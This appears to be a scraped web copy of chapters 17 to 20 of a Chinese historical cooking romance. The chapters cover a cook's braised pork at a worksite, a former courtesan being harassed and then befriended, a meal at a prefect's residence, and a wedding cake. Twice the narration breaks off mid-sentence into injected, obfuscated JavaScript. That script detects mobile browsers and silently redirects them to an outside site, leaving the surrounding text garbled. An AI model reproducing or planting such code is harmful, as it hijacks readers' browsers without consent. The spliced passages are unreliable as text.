梁照儿并不退却，直说：“徐娘子这话我倒弄不明白了，寻常人家不都是女人家弄灶台上的那些事，没见过几个男人肯在厨房里头打转的，怎的到你嘴里，女人就做不出菜来了？” 燕环一噎，又说：“……酒楼里头的大师傅都是男人，没见有几个女人！” 闻言，梁照儿也不欲和她过多纠缠，她对着采荞说：“采荞，劳烦你帮着我配配菜。” 采荞“诶”了一声，问道：“不知梁娘子今日想做些什么，我好去拾拣清楚。” 17. 红烧肉与生煸草头 梁照儿预备做三菜一汤，“红烧肉，瓜齑和生煸草头，还有菠菜豆腐汤。” 采荞问：“红烧肉是个甚么菜？” 红烧肉最早可追溯至苏东坡被贬黄州时所写的《猪肉赋》，只是如今没他这么个人，梁照儿便随口胡诌道：“村里人时常割猪肉来吃，跟着他们学了些做法，其中有一道便是红烧肉。” 虽说本朝猪肉比不上羊肉，但民间百姓却因羊肉价贵时常卖猪肉来吃，各式各样的做法倒有了不少。 燕环在翠袖坊里吃惯了牛羊，讥讽说：“甚么山沟沟里弄出来的，也能做来吃呀？” 梁照儿不知道燕环为何一来就跟她杠上，却也不甘示弱道：“谁不是从山沟沟里出来的？老话说富不过三代，三代前都是在地里头做活讨饭吃。” “乖乖隆地冬，我和你这样的人可说不来，我们家——打从爷爷的爷爷那辈起就是扬州城里人！” 这一番话可算是见人打瞌睡就递上枕头，燕环骄傲地一撇身子，坐到一边翘起兰花指挑草头。 梁照儿没话说了，接过采荞递过来的一块猪肉就将它切成见方小块。 采荞说：“你别同她计较，她这个人虽呆吧咯猴的，做事情却很细俏。” 梁照儿冲采荞一笑，专心着手上的活。她把肉块冷水下锅，加了少许黄酒焯水去腥。捞出后又往锅里放猪油和冰糖炒出糖色，糖浆在锅里冒泡时，才放入五花肉翻炒。 采荞往料包里头塞了足足的八角、桂皮和香叶后递给梁照儿，她将料包丢进大锅里，倒没过肉的清水炖煮一个时辰。 还不等揭锅盖，炖肉的香味已经从里头散了出来。 燕环觑着一只眼睛朝灶台处望，手里仍忙着择菜的活计。采荞也笑着说：“哎唷，瞧着这菜倒蛮灵光的。” 梁照儿出锅前往灶下添了一把柴，大火收汁，加入适量盐。她抬手唤了两位来，“还请两位帮我尝尝看，咸淡是不是正好？” 两人接过了筷子，夹起一块颤颤巍巍的红烧肉放进嘴里，采荞说：“正正好好，这肉烧得透鲜，香得不得了。” 燕环搜肠刮肚也说不出什么不好来，神色不自然道：“也还行罢。” 采荞见她吃完还嗦了一口筷子，一副打嘴巴都舍不得放的模样在心里默默地笑。她怕面上若是戳穿了燕环，又要闹个不休的。 梁照儿却不怕，她笑盈盈地说：“山里头的玩意也不难吃罢？做厨娘，总要心诚，不好瞧不上这个瞧不上那个的。” 采荞一听这话，只想拔腿就跑，却不料燕环只是淡淡应了声，不见往日的跋扈。 梁照儿从包里掏出两枚如意酥递给她们，“这是我那食肆里头常卖的糕点，还请二位姐姐赏个面。” 伸手不打笑脸人，燕环虽吃了梁照儿的东西，对着她缓和了几分，却也是神色淡淡。 燕环将一筐子草头放在梁照儿面前，说道：“诺，你要的草头。” 梁照儿不像那些大酒楼的师傅，只让身旁的帮厨切菜，炒菜时将人都赶得远远的，生怕人家偷师。 她总觉着一道菜肴更重要的是掌勺人炒出来的锅气，一时半载是学不会的。材料的配比嘛，只要是个舌头灵的老练师傅，慢慢试，总能试个八九不离十的。 她笑着说：“炒草头简单，你们来瞧瞧，以后也可以上灶试试。” “你愿意让我们上灶？”燕环狐疑道。 燕环才不信梁照儿有这么好心，李瘸子做菜时，一只锅铲都要在手里抡圆了划一圈才肯入锅，生怕她和采荞站在后面偷师。 梁照儿说：“有甚么不肯的？营造处人口多，我一个人做哪里做得过来，总得有人帮衬着。” 她们三人也算一根绳上的蚂蚱，若是哪一环出了问题，三个人都跑不掉。再说，只教一道炒草头有什么大不了的？ 说罢，梁照儿便微微侧了身子，先炒锅上火，滑入猪油，烧到九成热的时候再放入草头和精盐旺火急煸。她一手握着锅铲，一手用铁勺不断翻颠，露出的半截腕子爆起粗粗的两条筋，汗珠从袖笼子里顺着紧实的小臂滚了下来。 梁照儿用手背胡乱擦了擦额上的汗，将锅放下后又加了少许白糖、酱油和高粱酒，待草头柔软碧绿后才盛出。 一番动作行云流水，看的采荞频频点头，“照儿你瞧着瘦弱，力气却不小。” 梁照儿笑着说：“这菜简单，就是费些力气。” 她手把手比着教了她们放多少料，就去做旁的菜了。时间紧任务重，几人也没空再打嘴仗。 卡着开饭的点，三人将菜和汤都分装在几个大木桶里，又将饭装好。羊安顺接过一个大桶用扁担挑在肩上，燕环捻酸道：“羊甲头今日倒很殷勤。” 羊安顺回说：“你这人一点良心都没得，我从前来的时候都不作数了？” 燕环嗤嗤地笑了。 到了外头，有好事的男人坐在地上浑笑着就伸手拧了一把燕环的屁股，调笑说：“燕丫头，我曾经是你的恩客被你吃，如今又成了你的食客吃你的。” 一听这话，众人便哄笑了起来。 燕环把眉毛一拧，骂道：“呸！从前就是个软蛋，如今还是一副穷形怪状，老娘手指缝里漏两文钱就能买你这现世宝的命！” 那男人一听这话就急了，“蹭”得一下站起身来就要朝燕环去，梁照儿和采荞连忙上前护住她。 羊安顺见状立刻将那男人驱到一旁，“来做事也不得个稳当劲，闹起事来送你去官衙吃官司才晓得厉害！” 那男人满嘴胡吣：“我知晓你，八成是看上了这烂牝户，成日里护着她，也不怕害了脏病！” 燕环闻言，眼眶红了一圈，高声说：“我原是个低贱人，拿甚么脏的臭的来说我都不打紧，可你千不该万不该扯上旁的人。” 说罢，她捂着嘴跑到一边去了。 梁照儿望着那男人冷冷说：“原是有过露水情缘的，不求你怎样对她好，也总不至于当个仇人作弄。” 那男人歪嘴笑着说：“你替她说话，莫不也是个销魂货色？花名叫个什么，桃花、荷花还是梅花？等爷爷有了闲钱，也去光顾光顾你的生意。” 李鸿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401527|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恰巧来了，他听见这不堪入耳的话，当即就上前卸了这人的胳膊，“营造处容不下你这等人，滚出去。” 他转而又说：“娘子无需理会这泼皮。” 众人见有官差来了纷纷噤声，乖顺地排成一列等着用饭。 回州衙食堂路程太远，李鸿也预备跟着吃大锅饭，采荞见他方才出手相救，给他多打了好几勺红烧肉。 李鸿拒绝说：“一视同仁即可，我多吃一口，兄弟们就少吃一口。” 采荞连忙说：“不打紧的，猪肉贱，足足做了一大锅呢，人人都有的。” 李鸿一脸犹豫地看着碗里的红烧肉，梁照儿笑着打消他的疑虑：“小李官人尝尝，肉是腌过的，没有腥味。” “既是娘子做的，我便尝尝。” 李鸿对梁照儿的手艺还是有信心的。本朝猪多散养，肉质和口感欠佳，且难以祛除那股腥臊之气，士大夫和王公贵族们不爱吃。官家爱吃羊肉，上行下效，羊肉这才成了主流肉食。 不过寻常百姓倒不挑的，有的穷苦人家一年难得见次荤腥，哪管味重不重，有肉吃便不错了。 李鸿尝了一口那五花肉：肥肉软糯，入口即化；瘦肉劲道，丝丝入味，浓厚的烧汁拌着梗米饭叫人大快朵颐。 他连吃了三碗米饭，撑了个肚圆儿才肯作罢。跟州衙食堂那又凉又腻的肉菜比起来，红烧肉堪称人间至味。 采荞递给李鸿一碗汤，他轻轻一吹，徐徐喝了两口，发出慰叹：“美甚。” 民夫和工匠们填饱了肚子，下午干活时也有劲了起来。 “晌午吃的那肉也不知是什么肉，此刻还想着那滋味哩！” “顶饱，够劲，比平日里李瘸子做的那些糊弄鬼的菜强哪里去了。” 梁照儿听了他们的话，心里虽欢喜，可也记挂着燕环的事，等午饭结束后便拉着采荞回了厨房。 燕环却不在厨房里头。 “她平日里常去哪处？”梁照儿问采荞。 采荞也不知，只说：“她这个人性子傲得很，和我也不怎么搭腔的。” 梁照儿扶额道：“那咱们便沿着渡口仔细寻寻看，总不好叫她在这儿出了什么事。” 采荞点了点头，锁了厨房门便跟着梁照儿往前头去了。 沿路上长着鸡爪槭，叶子红了大半，上头还挂着一串串淡棕黄色的小球果，鸡爪槭中穿插着一簇簇石蒜，花瓣扭曲的像龙爪。 采荞眼尖，看见前边栈桥上有个恍恍惚惚的人影站在那儿，看身形约莫着是燕环。 二人立刻跑了过去，采荞怕她想不开，一把打横将燕环抱了下来，气喘吁吁说：“难不成还要为了两句浑话去死不成！” 燕环蓦地被人抱起来，先是一愣，随即笑了。她笑得厉害，眼泪也流了两行，说道：“我还从没被这样抱过，那些男人搂着我睡觉，也不肯这样抱我。” 她踉跄着从采荞怀里下来，拢了拢凌乱的发丝，抹了一把眼泪说：“我才不死，我能从翠袖坊这样的地方逃出来，凭什么死？我偏要好好地活，叫他们好看！” 18. 错认与错认水 下午食肆暂时不做其他营生，渡口边起了风不是说话的好地，梁照儿便引着采荞和燕环回了食肆。 采荞刚进食肆便赞道：“好大间屋子，一个人住着别提多自在了。” 大黄见梁照儿回来了便摇着尾巴跟在身后，梁照儿引着她们到了包厢小坐，又将大黄抱回窝里，将专门给它做的白水煮鸡肉掰碎了放在它面前的盆里。 回去时听见燕环说：“不怕你笑话，我在翠袖坊做了许久，攒下的银钱都拿去赎了身，余下的钱只能在冶春巷租个一进的小院。” 采荞回道：“女人家么，一进的院子也很好了。冶春巷有钱人多，凭你的姿色指不定又钓个金龟婿，往后就再也不愁了。” 燕环簇着眉说：“呸呸呸，我看过的男人，没有一千也有八百，靠他们怕是没盼头啦，遇上个糟烂货那日子是没得望了。” 梁照儿转身捧了一个坛子过来，问道：“燕环，你是扬州城里人，好端端的怎么会到翠袖坊去？” 燕环托着粉腮叹道：“还能为着甚么？我爹是个烂赌鬼，先卖了我娘，再卖了我，还不上赌债，十根手指头被砍了两根去，活活疼死了！” 讲到激动处，她一抹粉泪，又说：“娘个杂碎，我才不给他收尸，打发一张草席卷了回去也算尽了孝！” 采荞问：“那你娘呢？没去寻寻？” 燕环一拍桌子，泣道：“进了窑子里，改名的改名、换姓的换姓，上哪找去？妈妈们嘴上说着好听，把我们当作亲女儿，可一旦害了脏病或是做不动了，就生生将人蹉磨死！我娘只怕……” 梁照儿抽出三只酒樽，各倒了一樽错认水，“光讲话去了，口干，喝些薄酒暖暖身子。” 燕环抬了头，懵懵懂懂地望了一眼，“这是金华酒？” 梁照儿点头说：“正是，也叫错认水，我去酒肆买了上好的烧酒回来浸的。” 采荞好奇道：“明明是酒，怎么叫水呢？” “酒色清澈透明，看起来像清水，才得了这么个诨名，”燕环解释说，“你从来不喝酒的？” 采荞脸一红，两只手无措地来回搓弄，“我家官人说……女人家吃冷酒生不出毛伢子，从不让喝的。” 燕环拧了采荞脸一把，戏谑道：“你瞧瞧你，五大三粗个人，还怕你那小丈夫不成？” 采荞向梁照儿解释说：“我打四岁起就给卖到王家做童养媳，原来姓什么叫什么全忘了，等到六岁才等到我官人，比他痴长了几岁。” 梁照儿心中一阵无奈，她们这三个人，没一个好出身，一个寡妇、一个旧窠子、一个童养媳聚在一处。 燕环苦笑着说：“都是歹命人。” 梁照儿又拣了几件不打紧的事同燕环和采荞讲了，燕环惊讶道：“你说的崔大郎是原来北柳巷卖布的富商、崔家的珍大官人不成？” 她点头说：“正是，世间还有这般巧的事？” 燕环咬牙道：“呸！那个王八羔子，从前来翠袖坊摆大款，妈妈叫我去侍候着，他一杯酒泼我身上，嫌我老不肯叫我待——那畜生，专挑了雏丫头下手，听说他如今遭了难，叫人拖到街角打了一顿，总是罪有应得。” 梁照儿将一樽错认水饮尽，怒道：“软的不行的软脚蟹，只敢在小丫头面前称称霸王！” 采荞也捏着鼻子喝了一口，“这酒倒不辣，入口甜津津的。” “是用冰糖和江荸荠浸的，自然甜了。不过总归是酒，还得慢慢喝，免得醉了。”梁照儿说道。 三人吃了一阵酒，行了一阵酒令。梁照儿和燕环又同仇敌忾地骂了一阵，二人越说越投缘，立刻又倒了两樽酒，跪在天地神明像之前便要义结金兰。 燕环说：“我燕环从前是混下九流行当的，虽不是个清白人，可也知道‘义字当先’这样的话，不为别的，只为你们今日帮了我——我认下你二人这姐妹。” 梁照儿拍了拍燕环，豪言壮志道：“莫说这样的话。” 采荞还算清醒，无奈说：“这是怎的了？几个好吃酒的怎么还比不上我这个不吃酒的？” 梁照儿迷迷糊糊间听得外头有人喊门，赖了好半天才披上褙子出来开门。她吃多了酒，软绵绵地抱起门闩，手上无力险些砸着自已的脚。 门闩被立文一把扶起，他转头看了一眼韩景彦，又问：“这位娘子，你家店主人可在？” “……我便是，您有甚么事？” 梁照儿倚在门边，见是回头客便摇了摇头想让自己清醒一点，顶着一张红酡酡的脸问道。 立文和韩景彦对视一眼，韩景彦担忧地看了梁照儿一眼，温声问道：“你们店里可有一位年岁稍长的大娘？从前在街上摆摊时，我曾光顾过的。” 梁照儿不知这人葫芦里卖的什么药，疑惑道：“你说的是关大娘麽，不知寻她有何事？” 说完，她胃里一阵翻涌，憋不住打了个酒嗝。 立文忍不住笑了，韩景彦瞥了他一眼，又恭敬地说：“曾尝过这位大娘做的定胜糕和如意酥，不知如今还卖不卖？” 梁照儿见他误把自己认作关大娘，觉得有趣便顺水推舟道：“如今不是吃柿子的好季节，不做了。” 韩景彦闻言面露遗憾，向梁照儿告辞后，转身带着立文走了。 立文笑道：“郎君，您说您同个醉鬼还聊上了。” 韩景彦定身严肃道：“好了，那娘子虽饮了酒露了醉态，但也该对她尊重些，什么该说什么不该说，你心里可清楚？” 立文斩钉截铁地回复：“我常跟在郎君身边行走，还能不知怎么办事不成？” 梁照儿目送着二人离开了，才又关了门回去。燕环和采荞也有些醉意，纷纷告了别回去。 见众人都散了，梁照儿便倒头在榻上酣睡了起来，连大黄舔她手心她也无动于衷。 睡了两个时辰，等她再起身时，头微微有些发胀。玉梳见她起来，连忙放下手中的衣服走了过来，“你这人没人管着就甚么都不管了，一盅盅的冷酒下肚，也不怕伤了身子！” 玉梳摸了摸梁照儿的头，又转身去楼下厨房端热汤。 她说：“快将这盏汤喝了，祛祛酒气。” 梁照儿扬着一张脸，靠在玉梳的手臂上，“好玉梳 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梁照儿从衣柜里找出一个官皮匣子，打开后从里面拿出一盒铅粉，“我早就替你买了这盒桂粉，寻摸了好几个货郎，辗转几处才从桂州得了这铅粉。” 玉梳接过桂粉，打开嗅了嗅，又说：“听说京城里的娘子们再爱用此物不过了，如今一瞧粉质确实细腻，还有一阵扑鼻的香气。” 梁照儿见她笑了，便故意逗她：“你笑了，可见是不恼我了，今日就别走了罢？” 玉梳镟身说：“娘还在家里，我明日再同她一道来。” 她又陪梁照儿说了一会话，将能补的衣服都补了，不能补的也绣了几朵花才肯走。 第二日关大娘来了，梁照儿便将有位姓韩的郎君昨日来了一遭的事告诉了她，又推测：“姓韩的莫不是城东头州衙里头那位的公子？” 关大娘说：“可别吓唬我，同姓的倒很多。” 韩景彦是个锲而不舍的性子，眼瞧着昨日没寻见人，今日趁着带宝绮上街又来了梁记食肆。 他挑了车帘，对着立文说：“你下去问问人来了没有。” 见立文去问了，宝绮也好奇地朝外头望了望，“这食肆瞧着很是热闹。” “水陆交汇之处，自然如此。”韩景彦握着扳指说道。 立文走到食肆门前看见端着馎饦的关大娘，连忙问：“大娘好，我家主人想请您到府上叙话。” 关大娘回说：“小官人，我并不认识你家主人，怕是找错人了不是？” 立文又道：“我家主人是您的熟客，想请您到府上去做顿饭，许您一贯钱，您瞧着如何？” 关大娘闻言立刻将梁照儿抓来，梁照儿见是立文，对着关大娘小声道：“这就是我同你说的那位郎君。” “那……那便去瞧瞧罢，看着像大户人家，想来不会拿我们怎样。”关大娘说道。 梁照儿对立文说：“还请回禀你家主人，就说我们应下了。不过得等过了晌午，我姑母没见过甚么大场面，还请您准许我陪着她。” 19. 拜访知州府与笋蕨馄饨 等梁照儿从营造处回来，韩府的马车已经在食肆门口等着了。马车在古代算个高等出行工具，非一般人不能坐的。梁照儿只坐过牛车和驴车，这还是头一遭坐马车。 她和关大娘相互搀扶着上了车。今日她又把去燕来楼那日穿的绯罗褙子找了出来，还带上了耳坠子。 马车走到城西，在官道上停了。驾车的马夫冲着后头喊道：“你们下了车往里走，走到前头巷子有个黑色小门，只管敲了门进去说找小官人身边的立文再等上片刻就成了。” 梁照儿应了声，问了路边一个卖炒货的大娘，“烦请您告诉我，这里头是个甚么地？” 那大娘用看傻子的眼神看了她一眼，说道：“前面是州署，后面是韩老爷的官邸，姑娘太太们住的。” 关大娘一听这话，腿也软了三分，“我活了几十年，还从没进过官邸，也不知官老爷们生了几只眼、几张嘴！” 梁照儿一阵心虚，没成想竟真是扬州城里最大的这个韩。 她没有赶上官职通货膨胀的好时代，一落地见到的都是皇子王爷之流。不算偶然见到的韩知州，她在这个朝代认识的最大的官就是李鸿，州衙里一个普通的公务员。 即便在现代，别说县长了，她连个处长都没见过。 如今直接要去地级市的市长家里做客，让她如何不紧张？ 梁照儿攥着关大娘的手，保持镇静说：“来都来了，只当今日开了眼界，赶明儿说给旁人听，也算一桩奇闻。” 二人照那马夫说的叩了门，只见一个小丫头应了门，问道：“你们找谁？” “我们找小官人身边的立文。”梁照儿笑着说。 那小丫头略一点头，进去了一会儿才又出来，“你们跟着这位姐姐去罢，路上可别乱瞧，也不要乱说话。” “多谢姑娘提点。” 梁照儿跟着另一位年长些的女使从小门进了官邸。 过了影壁和垂花门，打从抄手游廊进了西厢房的院子，那女使说：“你们在这稍等等。” 梁照儿一路上低着头，只敢看着脚尖，如今听那女使说话才抬起头笑笑：“知道了，多谢姑娘。” 见私下无人，她才环视起四周来。或许因为是官邸的缘故，这宅子并不像她所想象中的那么奢华，不过还算宽敞，看起来是个三进的院子。 只呆了片刻，又有人引着她们去了厨房。 厨房里头的大厨见她二人进来了，皆装作未闻，心中有一股不平。 他们也是从学徒做起，在扬州城里的酒楼打拼出头才谋了官邸厨房掌厨的位置。韩景彦平日里对着他们做的菜总兴致缺缺的，如今却从外头领了一老一少两个厨娘来，他们不服。 梁照儿问了几句见没人搭腔便自己寻摸起来。 关大娘说：“做什么呢？” 送她们进来的女使没说韩景彦想吃什么，梁照儿想了想说：“冬馄饨，年馎饦，今日冬至，便做一道笋蕨馄饨罢。” 对食物诸多挑剔之人多半是味觉敏感的人，一旦从食物里嗅到一丝不喜欢的味道，便不肯用那道菜了。 梁照儿估计韩景彦便是这一类。 她从地上捡起两个冬笋，和蕨菜分锅焯断烫生，去除涩味而后切成碎丁，倒入黄酒、酱油、盐和胡椒粉和匀。恰时，关大娘揉好了面，将面攥成了一个个小剂子。 梁照儿馄饨包的没关大娘好，便退而让关大娘来。 关大娘笑着说：“元宝样式的瞧着喜庆。” 话音未落，一个圆滚滚的白元宝便从关大娘手中滚了下来。 梁照儿望着烧滚的水，捂着肚子说：“待会下锅煮的时候，千万别忘了在水里加点油和精盐，面粉味就没那么重了。我约摸着癸水要来了，肚子有些痛，得去趟茅厮。” 说着她央门口的女使给她引引路，女使忙带她到院子东北角上去了，给她指了位置后说：“娘子解完了回去便是。” 梁照儿应了一声，等再出来已不见那女使踪影。她本就不算方向感好的人，甫一进了这院子，更是找不着回去的路。 她只能一边寻摸着，一边期盼有人路过。 从一处垂花门朝右边走，进了一处园子。园子中央有一座水榭，匾额上写着枕流漱石。远远瞧着有位姑娘穿着一件绉纱褙子，正坐在水边钓鱼，梁照儿提了裙子缓缓上前问道：“姑娘安好……” “不是说了不许人过来吗，给我的鱼儿都吓跑了！” 梁照儿话音未落，便被打断了。 宝绮一脸不悦地回过身来，见是个生面孔便问道：“你瞧着面生，是哪里的丫头，不在任上当差来喊我做甚么？” 梁照儿面上露着歉意，“若非找不着回去的路了，奴家断不敢打扰您。奴是韩郎君请回来的，城北卸盐巷的食肆正是我家的。” 宝绮敛了敛神色，温声说：“是你啊。” 不想宝绮手一滑，渔竿险些滑进湖里，梁照儿恐她出事，连忙上前了两步，“姑娘小心。” 梁照儿笑着说：“钓鱼里头有些门道，从饵料到抛竿都有说法。鲫鱼喜欢吃玉米糁，鲤鱼的饵料里头可以加虾米增腥……” 宝绮露出一副钦佩神色：“你懂得可真多，我问爹爹和阿娘，他们只说钓鱼需得静心。” 梁照儿低眉顺眼地谢过宝绮的称赞，心中一阵怅然。他们自然不知道如何钓鱼，这些簪缨世族像来只知盘中餐滋味，却不知是如何来的。 宝绮对梁照儿很是好奇，又见她并不惧她，便拉着她说：“哥哥那里的事若是了了，倒不如随我一道去锄花。” 梁照儿热眼探照了宝绮一番，心下自有了一番思量。宝绮两弯新月眉，眉尾微微上翘，眼里笑盈盈的，不大藏得住心思。且她少见平民家的姑娘，对自己尚存了几分好奇之心，若是能将她哄好，赏赐自是少不了的。 她想着关大娘本就擅做面食，且该做的都做得差不多了，立刻将韩景彦抛到一边去，跟在宝绮后头笑着说：“姑娘看得上我，我自然陪姑娘去，也好说几句耍话逗姑娘开心。” 宝绮领着梁照儿来了东厢房的一棵刺槐树下，从树后头拎了一篮子菊花出来。 宝绮道：“原先爹爹请同僚到家里来赏花，摆了好几盆喜容菊在案上。花房的女使躲懒忘了收，被雨一打，花瓣谢了一地。我瞧着被人在地上踩来踩去，倒很心疼，便想着挖个坑埋了。” 梁照儿打趣道：“好么，这花得了姑娘怜惜，命倒比我们这样的人还好。” 她又教宝绮使锄头时如何发力最轻便，哪个角度下锄头翻土翻得最快，“姑娘见识大，可这样的事情却未必有我清楚。” 宝绮笑着听她将乡野间的那些事，譬如下河抓青蛙啦、摘槐花拌面粉蒸着吃啦……总之，梁照儿专门拣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401529|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了些乐趣小事讲给宝绮听，逗得她哈哈直笑。 胡妈妈远远地在廊下瞧见梁照儿陪着宝绮在锄花，连忙问拂柳：“姑娘身边跟着的这个丫头怎么从未见过的？” 拂柳据实禀告了，胡妈妈又簇着眉嫌弃说：“下次不要让人摸进后院来了，促刮死了。” 说罢，胡妈妈扭身又进了主院。 书房里，韩景彦瞧着面前用花口碗盛上来的笋蕨馄饨，微微一笑，“这道菜叫什么？” “笋蕨馄饨，冬笋和蕨菜都剁的碎碎的，配上老母鸡汤，再鲜不过了。”关大娘没忘记如今自己是顶了梁照儿的身份，搜肠刮肚地拣了几句话说道。 关大娘时不时地就瞥一眼门口，心想着梁照儿怎的还没来，留她孤零零地一个人在这。 韩景彦尝了一个馄饨，这馄饨同他想的不同，皮薄馅厚。他是不爱吃冬笋的，总觉得有股涩味，可这馄饨里的冬笋却只留下了爽脆的口感。 他又喝了一口汤，鸡汤混着胡椒，让他的身体微微有些发热。馄饨的大小恰好一口一个，不过片刻，韩景彦便将面前一碗全用完了。 连立文都有些惊讶了，这碗馄饨也没瞧着和府里大厨做的有什么区别呀？ 韩景彦冲着关大娘笑了笑，说道：“大娘不必拘着，您是长，何该坐着才是。” 立文给关大娘拖了张杌凳来，等关大娘坐定，他又道：“说来或许有些唐突……不知大娘可否愿意每日都做一餐饭，我派小厮上门去取，我先预付一两定金予您，不知是否可行？” 关大娘迟疑道：“一、一两么？” 韩景彦点了点头。 关大娘道：“郎君你欢喜吃，我们也是高兴的呀，既然你这般说了，那句话叫甚么来着……恭敬不如从命，我倒不好扫了您的兴！” 韩景彦给立文使了个眼色，立文立刻掏出一锭银锞子放到关大娘手里。 关大娘见那银锞子刻成八宝连春的图样，心中欢喜，拿袖子擦了好几遍才说：“多谢郎君。” 立文将关大娘送出了书房，到了门口嘱咐说：“大娘您且在这等等，我家郎君吩咐马房备了车，原模原样地将您送回去。” 关大娘在州署门口等了一阵，才见梁照儿被宝绮身边的贴身女使轻红送了出来，手里还捧着不少赏赐之物，有几枝绒花还有不少精巧的小物什。 轻红从袖子里掏出个精致的小荷包塞进梁照儿手中，又和她耳语了几句才转身进去。 关大娘忙上去问：“我的乖乖，你这是野到哪去了，让我好等。” 梁照儿笑了笑，面上的喜色都溢了出来：“我今日交了好运，上个茅厮也能摸得姑娘青眼。” 关大娘笑骂着说：“你是得意了，害得我苦等你许久。韩相公一问我，嚇得老婆子话也说不利索。” “如今是冬日里，还没开春呢！”梁照儿笑嘻嘻地扶着关大娘上了马车。 关大娘闻言打了她一下，“满嘴地胡吣。我正有一事要告诉你，小韩相公想请你每日都这么替他做上一餐饭，他打发人来取。” 梁照儿摇头说：“哪里有功夫替他去周旋，如今早上天不亮就要起来卖早餐，歇不得片刻还要去营造处，十八铜人也怕三味真火炼呢！” 关大娘掏出一锭银锞子，“瞧着这个，可有功夫了？” 梁照儿只把牙一咬，“时间挤挤总能有的。” 20. 喜宴与婚礼蛋糕 二人说说笑笑就回了食肆，下马车谢过马夫才后扬腿进了门。玉梳正在里头打扫屋子，张虎也来了，紧紧跟在玉梳后头，一步也不肯离。 玉梳吩咐他按数点了茶叶、油烛、鸡毛掸子、笤帚等物，一面又使唤他搬东西：桌围、椅搭、板凳条之类的。 见张虎像只没头苍蝇在一边转来旋去的，梁照儿忍不住打趣道：“哎唷，不成想咱们这位虎官人倒是个软耳根子。” “玉梳干活利索，宅子里头的再爱嚼舌的妇人也无不佩服她这个能干人的，我笨手笨脚的，听她的准出不了错。”张虎立刻维护道。 玉梳见她回来，指着物品账册说道：“你可算回来了，瞧瞧你这店里的开支——别的倒还好，只是一月怎么会用几十根蜡烛，你将那卖蜡烛的货郎打死了不成？” 见梁照儿吃瘪，关大娘拊掌而笑：“可算有人治治这毛丫头！” 梁照儿无奈说：“若是晚上黑魆魆的来一个人，我怕得紧，得将屋子里都点上蜡烛才肯睡。” 玉梳想到从前的事，也不再说些什么。 寒天催日短，没过几天就到了玉梳成亲的日子。 冬雨凄凄，城中寒色渐起。梁照儿撑着一把油纸伞到了北河下张家，先预备着晚上的喜宴。 有个小童顶着书包从她面前跑过，溅起的泥水打到梁照儿的绣鞋上，凝成了一块黑斑。 她微微蹙眉“诶”了一声，那小童连忙说：“冲撞到娘子，对不住了。” 梁照儿上前轻扣面前那扇黑色的蛮子门，张龙开了门，忙迎梁照儿进来：“娘子快进来，冬雨寒凉，沾上身了怕染上风寒。” 梁照儿束了伞，跟着他往后面厨房去。堂屋里张家请了几个喜婆婆正在布置正堂。 张龙说：“娘子若是还缺了什么，只管去使唤我，再重也能我张龙也能驮回来。” 梁照儿笑着谢过了，便俯身捡了几块红泥砖垒了一个临时烤箱，面上用黄泥将砖间缝隙都填满。她往里头添了足量的柴，将刷了油的陶瓷盘放进里头预热。 她预备做个婚礼蛋糕给玉梳，样式她都想好了，三层的奶油蛋糕，内馅用牛乳菱粉，表面用樱桃煎点缀。 没有打蛋器，打发蛋液只能全靠手动。梁照儿瞧见张龙一直在边上这里摸摸那里瞧瞧，便抬手叫他过来：“我有一宗事，想请张大哥帮忙。” 张龙见自己有在梁照儿面前表现的机会，连忙跳上前来发誓说：“上刀山下火海我也愿替娘子去的。” 梁照儿抿嘴一笑，张龙这一身力气，不用倒是白费了。 她将茶筅充作打蛋器递给张龙，教他怎样打蛋。张龙见梁照儿凑上前来，一时间心猿意马，一个字也没进耳朵。 梁照儿身上是清新的皂角香，衣服熨得笔直，肩膀也直直的，张龙的心一下也落在上头。 “我说的可还算清楚？”梁照儿问道。 “清楚，清楚。” 张龙红着面皮，今日茶筅似乎格外滑溜，怎么抓也抓不住。他扣住碗沿，使劲打着蛋液。 梁照儿见混合的差不多了，便倒入一斛白糖，夸了张龙两句又叫他继续打。 “你就这么喜欢让男人帮你？”崔璋一脸不悦地从外头进来。 他看着她和张龙肩并着肩一处做活，心中便有一股无名火。 梁照儿睨了他一眼，不悦道：“那你来。” 崔璋欲备上手去接，平时闷声不吭的张龙胆子头一遭大了起来，反抗道：“小官人是读书人，这等粗活还是让我来，别瞧这活简单，可吃劲哩！” “读书人也非四肢不勤、五谷不分之人。”崔璋冷哼一声说道。 张龙攥着碗不肯放，崔璋盯着他的目光平添几分锐利，看得他一阵心虚。 梁照儿不耐烦道：“一个赶车的，一个读书的跑到厨房来抢活干，既如此都别闲着了，一个打蛋、一个去扒菱角。” 前头来人喊张龙：“大郎，前头亲家送新娘子来了，你娘喊你去迎迎哩！” 张龙闻言应了一声，恋恋不舍地回头瞧了好几眼，嘴里还说：“我马上回来。” 崔璋见张龙走了，立刻悄没声地梭到梁照儿身边。 “你怎么还在这，也不出声，把我吓得魂灵头都没得了！”梁照儿一转身撞上崔璋的胸膛，叱道。 崔璋形神自如地接过她手中的东西，淡淡道：“我不感兴趣。” 他今日穿了一件莲花暗纹交领衫，腰间一条鹅黄绦带，衬得整个人明朗了不少，不再一副阴沉沉的模样。 “来吃喜酒不在外头呆着，那你来做甚么？” 崔璋被菱角刺扎了一下，指尖一阵刺痛，他恍若未觉，又主动摩挲了两下。 他说：“来瞧瞧你。” 